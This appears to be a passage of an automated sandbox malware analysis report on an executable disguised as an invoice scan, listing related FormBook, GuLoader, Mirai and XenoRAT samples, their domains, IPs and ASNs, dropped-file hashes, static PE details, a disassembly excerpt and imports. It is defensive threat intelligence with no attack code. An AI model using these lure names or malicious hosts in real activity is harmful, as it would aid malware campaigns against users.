Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.73613.shop	Letter of Intent (LOI) For the Company November 2024 PDF.pif.exe	Get hash	malicious	FormBook, GuLoader	Browse	180.178.39.235
www.73613.shop	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	180.178.39.237
www.premium303max.rest	Maryam Farokhi-PhD- CV-1403.exe	Get hash	malicious	FormBook	Browse	45.79.252.94
	Y7isAhMKal.exe	Get hash	malicious	FormBook	Browse	45.79.252.94
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	45.79.252.94
	INVOICES.exe	Get hash	malicious	FormBook	Browse	45.79.252.94
www.newhopetoday.app	Letter of Intent (LOI) For the Company November 2024 PDF.pif.exe	Get hash	malicious	FormBook, GuLoader	Browse	216.40.34.41
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	216.40.34.41
	LlbpXphTu9.exe	Get hash	malicious	Unknown	Browse	216.40.34.41
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	216.40.34.41
	10145202485.vbs	Get hash	malicious	GuLoader	Browse	216.40.34.41
www.locuramagica.online	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	31.31.198.145
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	31.31.198.145
	WARUNKI UMOWY-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	31.31.198.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ONEANDONE-ASBrauerstrasse48DE	PO2412010.exe	Get hash	malicious	FormBook	Browse	77.68.64.45
	tmpCA68.HtM.htm	Get hash	malicious	Unknown	Browse	82.223.161.12
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	62.151.165.56
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	82.223.135.21
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	74.208.219.57
	https://uhu145fc.s3.amazonaws.com/bf63.html?B3E2629E-DF5B-2F28-7322FD910FB23F54	Get hash	malicious	Phisher	Browse	82.223.68.99
	ithgreat.doc	Get hash	malicious	Unknown	Browse	87.106.68.207
	DRAFT COPY BL, CI & PL.exe	Get hash	malicious	FormBook	Browse	217.160.0.113
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	217.160.0.200
	atthings.doc	Get hash	malicious	Remcos	Browse	87.106.161.219
AS-REGRU	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	194.87.189.43
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	194.87.189.43
	cXjy5Y6dXX.exe	Get hash	malicious	RHADAMANTHYS	Browse	193.124.205.63
	SRT68.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	New Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	attached invoice.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	specification and drawing.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.58.112.174
	Pre Alert PO TVKJEANSA00967.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.58.112.174
	DO-COSU6387686280.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	37.140.192.206
LINODE-APLinodeLLCUS	rebirth.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	212.71.233.17
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	178.79.182.90
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	50.116.24.57
	BlOgLNwCom.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61
	i586.elf	Get hash	malicious	Unknown	Browse	172.104.31.172
	AS6xKJzYJT.exe	Get hash	malicious	Python Stealer, XenoRAT	Browse	96.126.118.61
	1OaTX8zI4B.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61
	yliGAnBiRb.exe	Get hash	malicious	Unknown	Browse	96.126.118.61
	5Xt3byH0Pj.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61
	3ToTB8VeHH.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61
VNPT-AS-VNVNPTCorpVN	rebirth.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	14.255.152.82
	rebirth.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	14.165.185.26
	rebirth.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	14.185.213.35
	rebirth.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	113.181.189.105
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	14.249.82.64
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	14.254.4.58
	Fantazy.spc.elf	Get hash	malicious	Unknown	Browse	14.235.164.136
	Fantazy.x86.elf	Get hash	malicious	Unknown	Browse	222.254.80.159
	sh4.elf	Get hash	malicious	Unknown	Browse	14.180.80.201
	Fantazy.m68k.elf	Get hash	malicious	Unknown	Browse	113.184.128.63

Process:	C:\Windows\SysWOW64\xwizard.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut285A.tmp

Download File

Process:	C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.995347160111417
Encrypted:	true
SSDEEP:	6144:ANciA7wpXEMdJmYbl+1QBevYXEKThUMUT89bYSEZNJTMvUrkw:ANciA7kEmJm+deveoQbx6NJ4i
MD5:	B8DE90B7E6BB7FD6B44D85AD9BA18900
SHA1:	41081986ADD03ADE6CB850D028C1127F7453AC01
SHA-256:	4FAB464FF7634E54D77D2A91976D9DEA56039AE5190CDC46C6ECD69841BA99E0
SHA-512:	B2415522B22CACEBEA1B6649287CBA06278FA5C8255C00733130654140AADC6EAF2FE72A095BC39FFF438E855C176BE1F3E1004741B964E078E0F98AF23A4887
Malicious:	false
Reputation:	low
Preview:	.....3QT6k..>....p.OY..iB[...T63BI73DI6LOOZRVQAASN3QT63BI73.I6LAP.\V.H.r.2...g* D.4;Y+=.7r50//<:.31.A7'.Zir..o7=24oL^D.QT63BI7JE@.q/(.o66.\|3).K..x)P.^.s/=.L..o.T.._PtWT.I6LOOZRV..AS.2PT....73DI6LOO.RTPJ@XN3.P63BI73DI6.[OZRFQAA#J3QTv3BY73DK6LIOZRVQAAUN3QT63BIG7DI4LOOZRVSA..N3AT6#BI73TI6\OOZRVQQASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6La;?*"QAA..7QT&3BIc7DI&LOOZRVQAASN3QT.3B)73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63B

C:\Users\user\AppData\Local\Temp\tapestring

Download File

Process:	C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.995347160111417
Encrypted:	true
SSDEEP:	6144:ANciA7wpXEMdJmYbl+1QBevYXEKThUMUT89bYSEZNJTMvUrkw:ANciA7kEmJm+deveoQbx6NJ4i
MD5:	B8DE90B7E6BB7FD6B44D85AD9BA18900
SHA1:	41081986ADD03ADE6CB850D028C1127F7453AC01
SHA-256:	4FAB464FF7634E54D77D2A91976D9DEA56039AE5190CDC46C6ECD69841BA99E0
SHA-512:	B2415522B22CACEBEA1B6649287CBA06278FA5C8255C00733130654140AADC6EAF2FE72A095BC39FFF438E855C176BE1F3E1004741B964E078E0F98AF23A4887
Malicious:	false
Reputation:	low
Preview:	.....3QT6k..>....p.OY..iB[...T63BI73DI6LOOZRVQAASN3QT63BI73.I6LAP.\V.H.r.2...g* D.4;Y+=.7r50//<:.31.A7'.Zir..o7=24oL^D.QT63BI7JE@.q/(.o66.\|3).K..x)P.^.s/=.L..o.T.._PtWT.I6LOOZRV..AS.2PT....73DI6LOO.RTPJ@XN3.P63BI73DI6.[OZRFQAA#J3QTv3BY73DK6LIOZRVQAAUN3QT63BIG7DI4LOOZRVSA..N3AT6#BI73TI6\OOZRVQQASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6La;?*"QAA..7QT&3BIc7DI&LOOZRVQAASN3QT.3B)73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63BI73DI6LOOZRVQAASN3QT63B

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.219222550779852
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Outstanding Invoices Spreadsheet Scan 00495_PDF.exe
File size:	983'498 bytes
MD5:	809f3ed91d34d38f0eced2a0709e22e9
SHA1:	08eddcdbf872273fffd90569024c74d99da2c6bd
SHA256:	494b4e888e21a6d9545fb434442900723eae53eb99882dfaa5f30367bf37d4c5
SHA512:	e0db21bd4c0d66de73d5c50e7c37f4dac3b621e683fcfb43e7a7f52b8257ff809933c225372a35b12d9d874c23fd57c3647d484888fcebd7160107217f24f7d1
SSDEEP:	12288:rLkcoxg7v3qnC11ErwIhh0F4qwUgUny5QLsnS59FyVmjO1A8uHKK1wkY6AQ:ffmMv6Ckr7Mny5QLsmWmjCZtKN7F
TLSH:	2225D112B7D680B6DDA339B1293BE32BEB3575194327C48B97E02E778F111409B3A761
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007F262CEDCB2Ch
jmp 00007F262CED08FEh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F262CED0A8Ah
cmp edi, eax
jc 00007F262CED0C2Ah
cmp ecx, 00000100h
jc 00007F262CED0AA1h
cmp dword ptr [004A94E0h], 00000000h
je 00007F262CED0A98h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F262CED0A8Ah
pop esi
pop edi
pop ebp
jmp 00007F262CED0EEAh
test edi, 00000003h
jne 00007F262CED0A97h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F262CED0AACh
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F262CED0A8Eh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F262CED0A4Eh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
